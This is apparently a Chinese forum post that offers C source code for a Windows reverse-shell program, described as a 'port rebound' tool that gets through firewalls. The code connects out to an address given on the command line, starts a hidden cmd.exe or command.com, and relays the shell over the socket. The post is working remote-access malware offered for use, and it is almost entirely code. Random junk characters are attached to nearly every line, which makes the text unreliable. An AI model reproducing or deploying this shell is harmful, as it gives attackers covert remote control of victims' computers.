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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &M=15 uCK  
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/* ============================== TeyFq0j@'  
Rebound port in Windows NT l vBcEg  
By wind,2006/7 {5+ 39=(  
===============================*/ (R9"0WeF  
#include  Gc;-zq  
#include /sqfw,h@  
+Q"XwxL<6  
#pragma comment(lib,"wsock32.lib") qVvnl  
-WGlOpg0;  
void OutputShell(); h|<;:o?yh  
SOCKET sClient; "kKIv|`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tv; ?W=&P  
rAD4}A_w  
void main(int argc,char **argv) ('.I)n  
{ ] ^J  
WSADATA stWsaData; { 3 "jn  
int nRet; @[Wf!8_  
SOCKADDR_IN stSaiClient,stSaiServer;  vF'IK,  
~N )(|N  
if(argc != 3) hK3Twzte  
{ ]|[mwC4  
printf("Useage:\n\rRebound DestIP DestPort\n"); \\Z?v,XsS  
return; SzG?m]  
} 2\F'So  
sBNqg~HwB?  
WSAStartup(MAKEWORD(2,2),&stWsaData); q } (f9  
dE 3M   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y4H/CH$%  
`*i:z'  
stSaiClient.sin_family = AF_INET; r'@7aT&_  
stSaiClient.sin_port = htons(0); f+Fzpd?wS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); msOE#QL6a  
Q*8 x Bi1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -1ci.4F&  
{ v(,YqT>q@U  
printf("Bind Socket Failed!\n"); T ^/\Rr  
return; qr~zTBT] E  
} R0F&!y!B  
*~.'lE%[U  
stSaiServer.sin_family = AF_INET; BM87f:d  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _9S"rH[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q~{O^,4S  
*]DO3Zw'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zJOyr"B'8  
{ n+ s=u$%qn  
printf("Connect Error!"); ,,?XGx  
return; &C#?&AQ  
} $M1;d1e6'  
OutputShell(); J~N!. i  
} MI`<U:-lP  
{H 3wL  
void OutputShell() ]=Wq&~  
{ DH.CAV  
char szBuff[1024]; %V(U]sbV  
SECURITY_ATTRIBUTES stSecurityAttributes; %B\VY+  
OSVERSIONINFO stOsversionInfo; W>[TFdH?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >=3oe.$)  
STARTUPINFO stStartupInfo; 1TgD;qX  
char *szShell; |w>d]eA5  
PROCESS_INFORMATION stProcessInformation; R,-DP/ (im  
unsigned long lBytesRead; <4I`|D3@  
raM{!T:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UUvR>5@n  
k7 Ne(4P  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xzf/W+.>.  
stSecurityAttributes.lpSecurityDescriptor = 0; ~e5E%bXxC  
stSecurityAttributes.bInheritHandle = TRUE; e_FoNT  
41+@!`z7  
2l~qzT-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pQ8f$I#v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 31p7oRzr  
g c<Y?a-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "rpP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MQX9BJ%  
stStartupInfo.wShowWindow = SW_HIDE; ~6[3Km|2  
stStartupInfo.hStdInput = hReadPipe; A|m0.'/   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EIOP+9zP  
u\f Qa QV  
GetVersionEx(&stOsversionInfo); k40`,;}9  
(7X^z&2  
switch(stOsversionInfo.dwPlatformId) j<h0`v  
{ 1.nYT*  
case 1: {$C"yksr  
szShell = "command.com"; l4^MYwFR{O  
break; :6Gf@Z&+  
default: GvL\%0Ibx  
szShell = "cmd.exe"; p)~EG=p  
break; ~hT(uxU/  
} 4v`;D,dIu  
6L-3cxqf\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U \F ?{/  
- I~\  
send(sClient,szMsg,77,0); `L3{y/U'  
while(1) \{o<-S;h  
{ Mp@dts/|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =3GgfU5k  
if(lBytesRead) ~;oaW<"  
{ IkQ,#Bsb[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bFJ>+ {#  
send(sClient,szBuff,lBytesRead,0); 9Wdx"g52_D  
} so@ijl4{Z  
else -hGLGF??  
{ $8Gj9mw4e'  
lBytesRead=recv(sClient,szBuff,1024,0); mD,fxm{G  
if(lBytesRead<=0) break; &InFC5A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gbFHH,@  
} L(HAAqRnJ  
} +y 48.5  
mS+sh'VH  
return; ~{t<g;F  
}
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